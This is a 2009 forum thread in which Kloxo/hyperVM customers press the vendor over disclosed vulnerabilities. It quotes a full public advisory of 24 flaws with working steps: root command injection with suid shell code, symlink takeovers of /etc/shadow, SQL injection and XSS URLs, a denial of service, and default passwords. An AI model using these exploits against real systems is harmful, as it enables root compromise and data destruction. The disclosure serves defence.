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Multiple Security Issues in hyperVM/Kloxo [message #67091] Fri, 05 June 2009 14:46 Go to next message
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Multiple Security issues have been discovered in hyperVM and Kloxo, and we have fixed all the remotely exploitable ones, and also the ones that can be exploited via the web interface.

Please update hyperVM/Kloxo to the latest.

There are some vulnerabilities in Kloxo that can be exploited by a user who has shell access to the system, and so it is recommended that you give out shell access only to 100% safe users.
Re: Multiple Security Issues in hyperVM/Kloxo [message #67096 is a reply to message #67091] Fri, 05 June 2009 15:11 Go to previous messageGo to next message
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adminmaster wrote on Fri, 05 June 2009 14:46
There are some vulnerabilities in Kloxo that can be exploited by a user who has shell access to the system, and so it is recommended that you give out shell access only to 100% safe users.


Slight correction: from the very first email I sent to lxlabs:


Quote:
It is important to understand that while many of the examples you will see are demonstrated while logged into the shell, being logged into the shell is never required to pull off any of these attacks. There are plenty of other sufficient ways to execute commands, such as via cron, perl, PHP, python, ruby, or whatever else is available on the server. Actually authenticating to the shell first (i.e. "logging into ssh" as some people say) is not required.


So no, this has absolutely nothing whatsoever to do with being logged into the shell. There are many other ways to execute commands from the shell, as mentioned previously.
Re: Multiple Security Issues in hyperVM/Kloxo [message #67109 is a reply to message #67096] Fri, 05 June 2009 15:50 Go to previous messageGo to next message
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Doesn't surprise me that they didn't read it properly or fix the actual issues.


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Re: Multiple Security Issues in hyperVM/Kloxo [message #67121 is a reply to message #67096] Fri, 05 June 2009 16:54 Go to previous messageGo to next message
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Yes,

Thanks for the clarification.

We have pretty much completely solved the symlink problem, by refusing the run chown on any symlinks.

Everything in kloxo is done via wrapper functions, so from now on, the chown function will not work at all on symlinks.

thanks.


On Fri, Jun 05, 2009 at 07:11:20PM -0000, jpetersen wrote:
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> adminmaster wrote on Fri, 05 June 2009 14:46
> > There are some vulnerabilities in Kloxo that can be exploited by a user who has shell access to the system, and so it is recommended that you give out shell access only to 100% safe users.
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> Slight correction: from the very first email I sent to lxlabs:
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Re: Multiple Security Issues in hyperVM/Kloxo [message #67167 is a reply to message #67091] Sat, 06 June 2009 09:39 Go to previous messageGo to next message
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adminmaster wrote on Fri, 05 June 2009 20:46

Multiple Security issues have been discovered in hyperVM and Kloxo, and we have fixed all the remotely exploitable ones, and also the ones that can be exploited via the web interface.


Are these security issues and the corrective actions listed or described anywhere? (excluding the underground sites that will be exploiting them)
Re: Multiple Security Issues in hyperVM/Kloxo [message #67179 is a reply to message #67091] Sat, 06 June 2009 12:17 Go to previous messageGo to next message
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We have noticed a large update to HyperVM today (from 2.0.7762 to 2.0.7942). Have all known issues been addressed now?

Will security updates be backported to Lxadmin too?

This is out in the open now, so the fixes must be propagated to end users as soon as possible.

Since many users don't visit the forums or update their servers daily, I would suggest notifying all that have accounts at client.lxlabs.com as soon as possible. A simple e-mail inviting everybody to urgently update their servers should do.

Another way of reaching all the customers would be for the admin to send a private message to all forum members, since most of us would get an instant email from the forum. I'm sure FUDforum has such a mailing option.

Those two means of communication should most likely enable Lxlabs to reach the majority of HyperVM/Kloxo users.

After a sufficient time is given to the customers to upgrade, I would suggest a full disclosure about the actual vulnerabilities so that everybody can perform a security audit on their existing servers.
Re: Multiple Security Issues in hyperVM/Kloxo [message #67191 is a reply to message #67179] Sat, 06 June 2009 15:27 Go to previous messageGo to next message
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Ales wrote on Sat, 06 June 2009 12:17
We have noticed a large update to HyperVM today (from 2.0.7762 to 2.0.7942). Have all known issues been addressed now?

Will security updates be backported to Lxadmin too?

This is out in the open now, so the fixes must be propagated to end users as soon as possible.

Since many users don't visit the forums or update their servers daily, I would suggest notifying all that have accounts at client.lxlabs.com as soon as possible. A simple e-mail inviting everybody to urgently update their servers should do.

Another way of reaching all the customers would be for the admin to send a private message to all forum members, since most of us would get an instant email from the forum. I'm sure FUDforum has such a mailing option.

Those two means of communication should most likely enable Lxlabs to reach the majority of HyperVM/Kloxo users.

After a sufficient time is given to the customers to upgrade, I would suggest a full disclosure about the actual vulnerabilities so that everybody can perform a security audit on their existing servers.


That is a great idea. They definitely need some sort of a notification method for any security vulnerabilities found.


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Re: Multiple Security Issues in hyperVM/Kloxo [message #67238 is a reply to message #67091] Sun, 07 June 2009 04:08 Go to previous messageGo to next message
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WOW

I'm very sad to see all this crap popping up... one thing after another it seems.


http://www.webhostingtalk.com/showthread.php?t=863754
Re: Multiple Security Issues in hyperVM/Kloxo [message #67239 is a reply to message #67238] Sun, 07 June 2009 05:29 Go to previous messageGo to next message
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Actually, we are also being honest, and we are re-evaluating the security of kloxo.

Currently, Kloxo is safe for use only for personal domains. It cannot be used in a generic shared hosting setup.




On Sun, Jun 07, 2009 at 08:08:49AM -0000, Rhett wrote:
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> WOW
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> I'm very sad to see all this crap popping up... one thing after another it seems.
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> http://www.webhostingtalk.com/showthread.php?t=863754


Re: Multiple Security Issues in hyperVM/Kloxo [message #67242 is a reply to message #67239] Sun, 07 June 2009 06:42 Go to previous messageGo to next message
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Hi,


Ok but what is the strategy now since a lot of your customers are using this in a shared hosting environment.

Is there any time frame known yet the security issues are solved?

regards,

Steven
Re: Multiple Security Issues in hyperVM/Kloxo [message #67250 is a reply to message #67242] Sat, 06 June 2009 08:04 Go to previous messageGo to next message
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Hello,

We are working full time on this. We will keep you updated.




Thanks and Regards

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Lxlabs Support
Re: Multiple Security Issues in hyperVM/Kloxo [message #67256 is a reply to message #67091] Sun, 07 June 2009 12:14 Go to previous messageGo to next message
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Detailed HyperVM/Kloxo exploits was published on the internet on 06/04/2009. I won't post the links here but all you need to do is google for it.

Here is the timeline of this issue, taken from the above mentioned site:

Quote:
# Timeline :
#
# 05/21/2009 - sent initial email to vendor with a link to a private
# resource for viewing various kloxo hiab575
# vulnerability info
#
# 05/23/2009 - received the following: "Thanks for the info. I will
# review this and let you know." (no signature)
#
# 05/30/2009 - sent an email asking if there were any updates
#
# 06/01/2009 - received the following: "Sorry for the delay. I am
# currently looking into this, and will reply in a couple
# of hours time." (no signature)
#
# 06/04/2009 - nothing heard from vendor, and the private resource
# containing the vulnerability info still does not
# appear to have been accessed




I'm aware that this timeline is one sided and I take it as such.

My main concerns are why were the exploits published in the first place and the apparent lack of communication and security policies on the side of Lxlabs.

Has J.Petersen been asked to wait with publishing the exploits while Lxlabs fix the issues? Why was the majority of fixes issued only after the exploits were published? What has been happening between 05/21/2009 and now?

It also seems that Lxlabs customers were not informed about this as soon as they should have been. E-mail to all registered at clients.lxlabs.com was sent only after I suggested it, that is 24 hours after the initial post here, more than 2 days after the public availability of the exploits and 17 days (!) after Lxlabs was informed about the issues.

I'm sure that Lxlabs currently has limited time to participate on the forums but after the critical issues are dealth with, I'd really like to hear the Lxlabs side of the story.
Re: Multiple Security Issues in hyperVM/Kloxo [message #67263 is a reply to message #67256] Sun, 07 June 2009 13:23 Go to previous messageGo to next message
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Hi,

Well underneath that the timelime you can find this:

"2 weeks have passed since the initial notification. Vendor appears uninterested."

I hope that Lxlabs will take more care about his customers and respect them.

Beside the security issues there are a lot of things that needs to be fixed who are not working or are not suitable.
However, it seems that Lxlabs is not interested in fixing these things either.

Instead of adding new itmes/options i hope that every issue that Kloxo have will be solved first.

Beside that, i find it hard to believe Lxlabs did not know about the security issues.

Regards,

Steven
Re: Multiple Security Issues in hyperVM/Kloxo [message #67275 is a reply to message #67239] Sun, 07 June 2009 16:10 Go to previous messageGo to next message
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Lxhelp wrote on Sun, 07 June 2009 05:29
Currently, Kloxo is safe for use only for personal domains. It cannot be used in a generic shared hosting setup.


This is wonderful. We just got the "you have to upgrade to Kloxo because we've EOL'd LXadmin" and which came shortly after the "you have to reinstall to upgrade to Kloxo becase we changed the name" (which was fixed, thank you), but now we have the "you can't use this in production"!?

That statement is so not going to help those of us who are in production. We need your help to mitigate this disaster! There are 24 documented vulnerabilities (a lot of those are the same issue with symlinks) -- we need to know where you are with fixing these things. We need to know if we should move our Kloxo services to different ports. We need to know if we should be changing passwords, etc.

Telling us to not put it in production would have been a nice thing to know about a year ago when I went down the path of buying Lxadmin! Now that I'm in production, well, that statement is a bit infuriating.

Please up the communication! We're all sitting on ticking time bombs.

And, please do explain to us why you had such a seemingly non/slow response to a vulnerability report when it was made to you. What's going to be done about this sort of thing in the future?


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Re: Multiple Security Issues in hyperVM/Kloxo [message #67282 is a reply to message #67091] Sun, 07 June 2009 17:32 Go to previous messageGo to next message
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QUESTION: Has anyone here taken HyperVM offline?

LXLabs: Do you recommend we take it offline until this is resolved??
Re: Multiple Security Issues in hyperVM/Kloxo [message #67287 is a reply to message #67091] Sun, 07 June 2009 18:31 Go to previous messageGo to next message
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From the quote I saw in another thread "Kloxo is okayfor personal use, but not for generic shared hosting".

What happens to those of us who've been in production for over a year (and tolerated the bugs and ego of lxlabs during this time)?

Do we have a mitigation plan to move away from Kloxo/HyperVM?

Why did it take 17 days to fix?

Is this essentially the end of LxLabs? The promise of refunds to enterprise customers for months and months, is going to be expensive, and I don't see LxLabs having the revenue stream to keep up..

[Updated on: Sun, 07 June 2009 18:32]

Re: Multiple Security Issues in hyperVM/Kloxo [message #67290 is a reply to message #67287] Sun, 07 June 2009 18:57 Go to previous messageGo to next message
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dbmv wrote on Sun, 07 June 2009 18:31
Is this essentially the end of LxLabs?


I've seen plenty of companies find out that their security is, to put it mildly, lacking. The key here is response and how things are dealt with going forward. As we've seen so far, the response could have been handled a lot better. It can still be handled decently if we start getting real information and we start getting a problem solving attitude rather than interesting statements telling us to take our hosting systems out of production.

We've clearly had amateur hour happen when it comes to security in LxAdmin/Kloxo. The issues that have presented themselves are rather pathetic. Thankfully they are easy to fix because they are simple, but it leads me to worry about *everything* since the simple things like escaping fields so that extraneous commands aren't executed were not done properly.

If LxLabs doesn't start addressing these issues with us directly then I can imagine this being a sign of doom. If they get proactive, do things properly (like living up to their own lofty security statements of not running processes as root), and get on the ball, then, speaking for myself, I won't feel like getting a refund, I'll feel like paying them so our software gets better.

I do like the software and I'd like to continue to use it, but, man, the ego, the communication, and the poor showing in really simple security have got to change.


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Re: Multiple Security Issues in hyperVM/Kloxo [message #67294 is a reply to message #67091] Sun, 07 June 2009 20:09 Go to previous messageGo to next message
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Why has lxhelp not commented on this ????

LXHelp Where are you?

WTF

WE NEED ANSWERS! and NOW.
Re: Multiple Security Issues in hyperVM/Kloxo [message #67295 is a reply to message #67091] Sun, 07 June 2009 20:24 Go to previous messageGo to next message
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This is getting worse as more hackers see how easy it is to do this.... it's a bad thing for anyone that is known to be using these products and might be in the spotlight.



Quote:
At approx 7pm GMT VASERV HyperVM was hacked and it appears that all nodes have some level of damage. We are currently working on the situation and will be putting updates here.

Currently we have no ETA on this

23:18 GMT. We are going to bring the support desk back online shortly so we can start getting a track of where customers are.

Per DC

LA FSCKVPS - People are onsite working on the system

WireSix Atlanta - People are working onsite

TMS - Expecting someone onsite within 1 hour

UK - We have 4 people onsite and gauging status

Overall it looks like /boot on the nodes has been removed. Some nodes are definitly missing /vz data and others have it intact. We will be going node by node to get things going ASAP.

Our HyperVM db's are intact so this means we can link everyone to their VPS


23:56 GMT: We now have a rolling action plain in place for all nodes and are starting checks/restores. Please note we are expecting at least 24-48 hours to get things even remotly stable

00:32 GMT: We have so far done some test rebuilds on 5 boxes and results look semi promsing for the root VPS data (/vz). /etc/ was removed meaning config files need rebuilding however this is easy enough to do from HyperVM database. As it stands we will NOT be giving public access to HyperVM for the forseable future. We may/may not still use it internally via some very strong firewall controls. For rebuilds etc we will be asking people to do support tickets etc
Re: Multiple Security Issues in hyperVM/Kloxo [message #67297 is a reply to message #67091] Sun, 07 June 2009 20:38 Go to previous messageGo to next message
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SO since lxhelp is not helping here, I'm going to post this page that is on several sites already... we need to get these items resolved and I know there are several here that can help if the owners of this site are not willing too.

Here it is....

as posted on http://www.milw0rm.com/exploits/8880

Quote:
############################################################ #########
#
# Who : http://lxlabs.com
#
# What : kloxo
#
# "Kloxo (Previously Lxadmin) The most flexible software on this
# planet. From Kloxo HostInaBox, World's lightest and the most
# efficient webhosting platform, to Kloxo Enterprise, which can
# manage 100s of thousands of domains on hundreds of servers. Kloxo
# is a fully scriptable, distributed, 100% object oriented hosting
# platform. There is nothing in the hosting industry that's even
# comparable to Kloxo in its sheer flexibility."
#
# =============================================
# A few dozen lxadmin / kloxo bugs
# Tested on centos-5-i386-hostinabox575.tar.gz
# =============================================
#
# Timeline :
#
# 05/21/2009 - sent initial email to vendor with a link to a private
# resource for viewing various kloxo hiab575
# vulnerability info
#
# 05/23/2009 - received the following: "Thanks for the info. I will
# review this and let you know." (no signature)
#
# 05/30/2009 - sent an email asking if there were any updates
#
# 06/01/2009 - received the following: "Sorry for the delay. I am
# currently looking into this, and will reply in a couple
# of hours time." (no signature)
#
# 06/04/2009 - nothing heard from vendor, and the private resource
# containing the vulnerability info still does not
# appear to have been accessed
#
# 2 weeks have passed since the initial notification. Vendor appears
# uninterested.
#
# Don't drink the Kool-Aid. None of these things are entirely true:
# http://lxlabs.com/software/kloxo/security/
#
# Some are just blatantly false. If you want proof, just keep
# reading, but try not to fall asleep. These are mostly incredibly
# trivial and boring issues.
#
############################################################ #########


############################################################ #########
# ISSUE #1 - uid/gid reuse
############################################################ #########

Kloxo / Lxadmin allows unprivileged users to create and remove user
accounts. This is a common feature of the more popular webhosting
control, whereby the users with this privilege are referred to as
"resellers".

1. A reseller creates an account called "user1", which is automatically
assigned the next available uid and gid on the system (1012.1012 for
this example).

2. The reseller then logs into the user1 account, such as via FTP.

3. As user1, they upload a file, let's say to /home/user1/testfile

4. As user1, they copy or move testfile to /tmp

5. Now, as the reseller, they remove the user1 account. When the user1
account was removed, all of /home/user1 was destroyed. However, the
testfile file will still exist in /tmp, and will have the uid and gid
which user1 previously held (let's say 1012.1012).

6. The reseller then creates a new account, let's call it "user2".

7. "user2" now owns /tmp/testfile, because the uid and gid 1012.1012
were the next available ids.

The problem with this design is that the testfile could have been a
suid/sgid helper shell, with calls to setregid(1012,1012) and
setreuid(1012,1012), and the reseller could have waited for the next
account to be created. Once the new account was created (perhaps by
another reseller, or by root as a staff account, etc), the reseller
could execute the helper shell and have full access to the new user's
account.


############################################################ #########
# ISSUE #2 - unprivileged port use
############################################################ #########

By default, Kloxo / Lxadmin uses multiple unprivileged ports: 7776,
7777, 7778, and 7779. In the event that a service responsible for
using those ports (kloxo.httpd and kloxo.exe) stops listening on
them, a local user can bind to the port, preventing kloxo from using
it until it is freed.

Note: not all ports were tested. This was tested simply by 1) stopping
kloxo, 2) listening on port 7777, and 3) attempting to restart kloxo.

kloxo did not attempt to take control of the port. 7777/7778 are the
login ports for kloxo, so a local user could craft an authentic looking
login page and obtain the username and password of the next person
attempting to log in.


############################################################ #########
# ISSUE #3 - default passwords
############################################################ #########

"21232f297a" is the default password to the kloxo db, which contains
the base64 encoded admin password, which is more or less a user with
full root privileges.

"pass" is the default roundcube db password.

"admin" is the default password for the root account, and for the
admin account.

Are there more? Are these documented anywhere? Do all lxlabs products
contain default passwords?


############################################################ #########
# ISSUE #4 - useradd string in the process list
############################################################ #########

When a new account is created via lxadmin / kloxo, the useradd string
appears in the process list, complete with password hash.


############################################################ #########
# ISSUE #5 - XSS
############################################################ #########

Surely there are plenty more:

:7778/display.php?frm_action=XSS
:7778/display.php?frm_action=delete&frm_o_cname=XSS

The software does tie the user's IP address to the session, but this
could be problematic for people behind the same proxy, or those on
networks where non SSL based web traffic could appear to come from
any of a number of hosts at any given time (e.g., AOL. Do they still
do this? Are there others that do the same?).


############################################################ #########
# ISSUE #6 - remotely create partially user controlled file names
# and directories. Locally append uncontrolled data to
# any file
############################################################ #########

1. Browse to http://x.x.x.x:7778 (or domain:7778)

2. In the username field, enter anything, valid account or not. We'll
use: test

3. In the password field, enter anything. We'll use: test

4. Click the login button

This will cause this directory:
/usr/local/lxlabs/kloxo/log

to now have this file:
Failed Login attempt to test from x.x.x.x

(where x.x.x.x is the IP address that the failed login attempt came
from, of course).

Note that the file is written as root.

Now append a "/" to "test" and attempt to log in again.

This causes the following directory to be created:
/usr/local/lxlabs/kloxo/log/Failed Login attempt to test

which contains this file:
from x.x.x.x

Directory traversal can also be used, which will ultimately allow a
local user to append data to any file on the box via a symlink attack.


Directory traversal example on the login page:

username: ../../../../../../../../hello
password: test

[root@testing574 /usr/local/lxlabs/kloxo/log]# ls -l / | grep hello
-rw-r--r-- 1 root root 24 May 19 16:56 hello from x.x.x.x

Since the user can control the location on the filesystem that the
file will be written to, they can use a symlink attack to append junk
to the end of a file:


1. [user1@testing574 /tmp]$ ln -s /etc/resolv.conf 'test from x.x.x.x'

* Replace "x.x.x.x" with the IP address that you'll be attempting to
log in from.


2. Attempt to log in with the username: ../../../../../../../tmp/test
and any password


3. Now observe that /etc/resolv.conf had data appended to it:

[user1@testing574 tmp]$ cat /etc/resolv.conf
nameserver 4.2.2.1
nameserver 4.2.2.2
20:09 May/20/2009: NULL


############################################################ #########
# ISSUE #7 - local users can take control of any file or directory
############################################################ #########

Local users can take control over any file on the host when adding a
domain. This is done via a symlink attack.

Observe the following from the /usr/local/lxlabs/kloxo/log/shell_exec
log when an account is created:

13:46 May/18/2009: 0: [(__system__:/usr/local/lxlabs/kloxo/httpdocs) 'chmod' '0755' '/home/clientname/example.com']
13:46 May/18/2009: 0: [(__system__:/usr/local/lxlabs/kloxo/httpdocs) 'chown' '-R' 'clientname:clientname' '/home/clientname/example.com']

All the user needs to do is symlink example.com to the resource they
want to take control of, then add the domain. This will give the
resource permissions of 755, uid.gid user.apache:

[user1@testing574 user1]$ ls -l /etc/shadow
-rwxr-xr-x 1 user1 apache 1415 May 19 17:05 /etc/shadow


This also works when adding subdomains.


############################################################ #########
# ISSUE #8 - local users can take control of any file or directory
############################################################ #########

Local users can take ownership of any file via a symlink attack when
adding FTP users. Only the user ownership is changed.

1. Log into Kloxo

2. Click "Ftp Users"

3. Click "Add Ftp User"

4. In the "Ftp User Name" box, type: example

5. In the "Password" and "Confirm Password" boxes, type whatever you'd like

6. In the "Virtual Directory" box, type: example

7. Before adding the FTP user, create a symlink for /home/username/example to
/etc/shadow:

[user1@testing574 user1]$ ln -s /etc/shadow example

8. Click "Add"

Observe that the user now owns /etc/shadow:

[user1@testing574 user1]$ ls -l /etc/shadow
-r-------- 1 user1 root 1415 May 19 17:05 /etc/shadow


############################################################ #########
# ISSUE #9 - local users can overwrite any file on the box
############################################################ #########

Local users can overwrite arbitrary files via symlink attacks when
using the "InstallApp" feature.

1. Log into Kloxo as a regular user (not a reseller)

2. Click "InstallApp"

3. Click "WordPress"

4. Click "Install This Application"

5. In the box titled "Location", enter: example

6. In the shell, create the following directory:
/home/username/example.com/example

where "username" is the username of the account that you are attempting to
install WordPress on, and

where "example.com" is the DocumentRoot of the domain that you are installing
WordPress on.

7. Now cd into the "example" directory and symlink a file to
__kloxo_directory_list:

[user1@testing574 /home/user1/example.com/example]$ ln -s /etc/resolv.conf __kloxo_directory_list

8. Now go back to Kloxo and click "Install"

Observe that /etc/resolv.conf has been destroyed:

[user1@testing574 /home/user1/example.com/example]$ cat /etc/resolv.conf
b:0;

I've never seen this feature actually install anything.


############################################################ #########
# ISSUE #10 - yet another symlink attack for local users
############################################################ #########

Local users can create arbitrary directories anywhere on the
filesystem via directory traversal when adding a new domain. They
can also take control over any directory on the filesystem.

1. Log into Kloxo

2. Click "Domains"

3. In the field labeled "Domain Name", type: example.com

4. In the field labeled "Document Root", enter: ../../../../../../test

Observe that the directory /test has now been created:

[user1@testing574 /home/user1]$ ls -l / | grep test
drwxr-xr-x 4 user1 apache 4096 May 21 12:28 test



Alternately, the user can enter the name of an existing directory to take
control over it, such as: ../../../../../../etc

or even: ../../../../../../../../

which will result in this:

[user1@testing574 /]$ ls -al /
total 288
drwxr-xr-x 25 user1 apache 4096 May 21 12:32 .
drwxr-xr-x 25 user1 apache 4096 May 21 12:32 ..
-rw-r--r-- 1 user1 user1 0 May 18 21:44 .autofsck
-rw-r--r-- 1 user1 user1 0 May 18 21:44 .autorelabel
-rw------- 1 user1 user1 1024 May 21 01:50 .rnd
lrwxrwxrwx 1 user1 user1 39 May 18 21:44 aquota.group -> /proc/vz/vzaquota/00000020/aquota.group
lrwxrwxrwx 1 user1 user1 38 May 18 21:44 aquota.user -> /proc/vz/vzaquota/00000020/aquota.user
drwxr-xr-x 2 user1 user1 4096 May 14 10:38 bin
drwxr-xr-x 2 user1 user1 4096 Mar 29 2007 boot
drwxr-xr-x 2 user1 user1 4096 May 21 12:32 cgi-bin
drwxr-xr-x 2 user1 user1 4096 May 13 06:40 command
drwxr-xr-x 4 user1 user1 122880 May 18 21:45 dev
drwxr-xr-x 56 user1 user1 4096 May 21 12:30 etc
drwxr-xr-x 14 user1 user1 4096 May 18 23:38 home
drwxr-xr-x 10 user1 user1 4096 May 13 06:38 lib
drwxr-xr-x 2 user1 user1 4096 Mar 29 2007 media
drwxr-xr-x 2 user1 user1 4096 Mar 29 2007 mnt
drwxr-xr-x 2 user1 user1 4096 Mar 29 2007 opt
dr-xr-xr-x 44 user1 user1 0 May 18 21:44 proc
drwxr-xr-x 7 user1 user1 4096 May 8 02:46 program-install
-rw-r--r-- 1 user1 user1 68088 May 13 02:24 program-install.zip
drwx------ 4 user1 user1 4096 May 21 12:28 root
drwxr-xr-x 2 user1 user1 4096 May 13 06:38 sbin
drwxr-xr-x 3 user1 user1 4096 May 18 21:44 script
drwxr-xr-x 2 user1 user1 4096 Mar 29 2007 selinux
drwxr-xr-x 2 user1 user1 4096 Oct 6 2008 service
drwxr-xr-x 2 user1 user1 4096 Mar 29 2007 srv
drwxr-xr-x 3 user1 user1 0 May 18 21:44 sys
drwxrwxrwt 2 user1 user1 4096 May 21 12:32 tmp
drwxr-xr-x 14 user1 user1 4096 May 13 06:42 usr
drwxr-xr-x 25 user1 user1 4096 May 14 10:39 var


############################################################ #########
# ISSUE #11 - metachar injection, local command execution as root
############################################################ #########

Local users can execute any command(s) of their choice as root via
metacharacter injection in the backup initial string.

1. Log into Kloxo

2. Click "Backup Home"

3. In the box titled "Backup File Initial String", enter:
; /bin/touch /tmp/i_am_root ;

4. Click "Backup Now"

Observe:

[user1@testing574 user1]$ ls -l /tmp/i_am_root
-rw-r--r-- 1 root root 0 May 20 21:50 /tmp/i_am_root


############################################################ #########
# ISSUE #12 - web stats world readable password hashes
############################################################ #########

Local users can obtain the password hashes from the stats page
protection files.

1. Log into Kloxo

2. Click "Stats Page Protection"

3. In the field titled "Statistics Page Password", enter a password

The hash of that password will be placed into a world readable file here:
/home/httpd/example.com/__dirprotect/__stats

where "example.com" is the domain onto which the stats password was added.


############################################################ #########
# ISSUE #13 - local users can overwrite any file on the box
############################################################ #########

Local users can overwrite any file of their choice via a symlink
attack when adding parked and redirected domains.

1. Log into Kloxo

2. Click "Parked / Redirected Domains"

3. Click "Add Parked"

4. In the box titled "Pointer Domain", enter: example.com

5. From the shell, cd to /home/httpd/domainname/
where "domainname" is the directory onto which the Pointer Domain is being
parked.

6. Rename, or remove, perlsuexec.sh

7. Now create a symlink to that file: ln -s /etc/resolv.conf perlsuexec.sh

8. Now go back to Kloxo and click "Add"

Observe that /etc/resolv.conf now contains the data from perlsuexec.sh.
This also works with the phpsuexec.sh and shsuexec.sh files as well.


############################################################ #########
# ISSUE #14 - metachar injection, local command execution as root
############################################################ #########

metacharacter injection in the backup feature allows local users to
execute commands as root.

1. Log into Kloxo

2. Click "Backup Home"

3. In the field labeled "Backup From File", type:
../../../../../../../../tmp/;cd ..;chown root.root shell;chmod 4755 shell;

4. In the shell, issue the following commands:

[user1@testing574 ~]$ cd /tmp
[user1@testing574 /tmp]$ cat>shell.c<<EOF
int main(){
setregid(0,0);
setreuid(0,0);
setgroups(0,0);
system("/bin/bash");
}
EOF
[user1@testing574 /tmp]$ gcc shell.c -o shell
[user1@testing574 /tmp]$ touch ';cd ..;chown root.root shell;chmod 4755 shell;'

5. Back in Kloxo, click "Start Restore Process"

Now the local, unprivileged user has a suid root helper shell:

[user1@testing574 tmp]$ ls -al
total 28
drwxrwxrwt 4 root root 4096 May 21 08:41 .
drwxr-xr-x 24 root root 4096 May 19 16:57 ..
-rw-rw-r-- 1 user1 user1 0 May 21 08:40 ;cd ..;chown root.root shell;chmod 4755 shell;
drwx------ 2 root root 4096 May 21 08:41 backupPdUzR4
-rwsr-xr-x 1 root root 5056 May 21 08:41 shell
-rw-rw-r-- 1 user1 user1 89 May 21 08:33 shell.c

[user1@testing574 /tmp]$ ./shell
[root@testing574 /tmp]# id
uid=0(root) gid=0(root)


############################################################ #########
# ISSUE #15 - remotely block any - or every - IP addr in hosts.deny
############################################################ #########

Remote, unauthenticated users can cause any IP addr(s) to get
blocked by lxguard, via a crafted ssh username:

[user@host ~]$ ssh -l 'password for test from ALL' x.x.x.x

where "x.x.x.x" is the remote host running sshd and Kloxo, and "test"
is simply an example username. When the attacker exceeds the threshold
for failed login attempts, lxguard will add 'ALL : ALL' to
/etc/hosts.deny.


############################################################ #########
# ISSUE #16 - remote CPU and mem usage DoS
############################################################ #########

Remote, unauthenticated users can cause kloxo to consume all
available server memory and CPU cycles by simply connecting to, then
disconnecting from port 7776.

1. telnet x.x.x.x 7776

2. disconnect

3. observe that the most recent instance of kloxo will endlessly
consume memory:

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 25872 98.6 15.7 45164 41348 pts/1 R 14:10 0:05 \_ ../sbin/kloxo.exe master
root 25872 101 29.3 80672 76932 pts/1 R 14:10 0:11 \_ ../sbin/kloxo.exe master
root 25872 100 34.3 93608 89916 pts/1 R 14:10 0:13 \_ ../sbin/kloxo.exe master


############################################################ #########
# ISSUE #17 - local users can truncate and control any file
############################################################ #########

Local users can truncate and take over ownership of any file on the
box via a symlink attack when specifying a "Virtual Directory" in
the "Protected Directories" feature.

1. As a local, unprivileged user, rename or remove the following directory:
/home/httpd/example.com/__dirprotect

where "example.com" is the name of the domain for which we will be creating
a protected directory.

2. cd /home/httpd/example.com/__dirprotect/

3. ln -s /etc/resolv.conf test_

4. Log into Kloxo

5. Click the "Protected Directories" link

6. In the "Auth Name" box, type anything

7. In the "Virtual Directory" box, type: test

8. Click "Add"

This is the result, note the ownership and the file size:

-rwxr-xr-x 1 user1 root 0 May 25 07:48 /etc/resolv.conf


############################################################ #########
# ISSUE #18 - just 2 more symlinks to own any file on the box
############################################################ #########

1. [user1@testing574 ~]$ while true ; do ln -s /etc/resolv.conf
/home/lxadmin/mail/domains/example.com/postmaster/.bogopref. cf ; done

2. create new account in kloxo for example.com


[user1@testing574 ~]$ ls -l /etc/resolv.conf
-rw-r--r-- 1 user1 user1 185 May 25 16:29 /etc/resolv.conf

[user1@testing574 ~]$ cat /etc/resolv.conf
spam_cutoff 0.7
spam_subject_tag=******SPAM******
wordlist R,user,postmaster_example_com.wordlist.db,1
wordlist R,system,wordlist.db,2
wordlist R,system,kloxo.wordlist.db,3



This also works for:
/home/lxadmin/mail/domains/example.com/postmaster/.maildropr c


[root@testing574 ~]# ls -l /etc/resolv.conf
-rwx------ 1 user1 user1 377 May 26 06:14 /etc/resolv.conf


[root@testing574 ~]# cat /etc/resolv.conf
SHELL=/bin/sh

if ( $SIZE < 96144 )
{
exception {
xfilter "bogofilter -d /var/bogofilter/ -ep -c /home/lxadmin/mail/domains/example.com/postmaster/.bogopref. cf "
}
}
if ( /^X-Bogosity: Spam, tests=bogofilter/ )
{
to /home/lxadmin/mail/domains/example.com/postmaster/Maildir
}

to /home/lxadmin/mail/domains/example.com/postmaster/Maildir/


############################################################ #########
# ISSUE #19 - file manager, view and edit any file
############################################################ #########

Local users can view and edit the contents of any file via the
File Manager.

1. From the shell, create a hard link to the file to view or take
control of:
[user1@host ~]$ ln /etc/shadow

2. Log into Kloxo

3. Click "File Manager"

4. Click "shadow"

The file can also be edited.


############################################################ #########
# ISSUE #20 - file manager PT II
############################################################ #########

Local users can create new files, overwrite the contents of, and take
ownership of any file on the box.

1. Log into Kloxo

2. Click "File Manager"

3. Click "Upload" (upload a file called: test)

4. From the shell:
[user1@testing574 ~]$ while true ; do rm -f test ; ln -s /etc/shadow test ; done

5. Click "Upload"


############################################################ #########
# ISSUE #21 - file manager PT III
############################################################ #########

Local users can edit any file on the box via symlink attack when creating a new
file in the File Manager.

1. Log into Kloxo

2. Click "File Manager"

3. Click "Newfile"

4. In the box labeled "File Name", type: test

5. From the shell:
[user1@testing574 ~]$ ln /etc/shadow test

6. Click "Update"

The file is now displayed to the user, and can be edited as well.


############################################################ #########
# ISSUE #22 - local user symlink attack
############################################################ #########

It's pointless to continue to documenting symlink attacks in this
software. The software appears to use root for nearly everything,
and does not use proper file locking, amongst other things.

This one pertains to the "PHP Config" option, and creating a symlink
for the file it creates: /home/username/domain/.htaccess


############################################################ #########
# ISSUE #23 - local user symlink attack (last one)
############################################################ #########

When changing ownership of a domain, a symlink attack can be used
to take control of any file on the box.


############################################################ #########
# ISSUE #24 - sql injection in the "Forgot Password" form
############################################################ #########

You can use any username and email address for this - real or
otherwise - and the select statement will still be executed.
Note that the output is not displayed back to the user's client.

http://x.x.x.x:7778/login/index.php?frm_clientname=x' union select now()/*&frm_email=example@example.com&forgot=Send&frm_forgotpwd=2

You can observe the results via strace, however. Note the
"2009-06-03 18:54:30" in the query result:

7171 read(6, "\3select contactemail from client where nname = 'x' union select now()/*';", 73) = 73

7171 write(6, " \1\0\0\1\1.\0\0\2\3def\0\0\0\fcontactemail\fcontactemail\f\1 0\0\377\0\0\0\375\0\0\0\0\0\5\0\0\3\376\0\0\2\0\24\0\0\4\023 2009-06-03 18:54:30\5\0\0\5\376\0\0\2\0", 97) = 97


The good news is that if you do know a valid username and contactemail
(as stored in the kloxo db), then you can remotely recover the base64
encoded kloxo login password for the admin user via brute force. Once
logged in as "admin", the web based command shell can be used to
execute commands, which are run as - you guessed it - root.

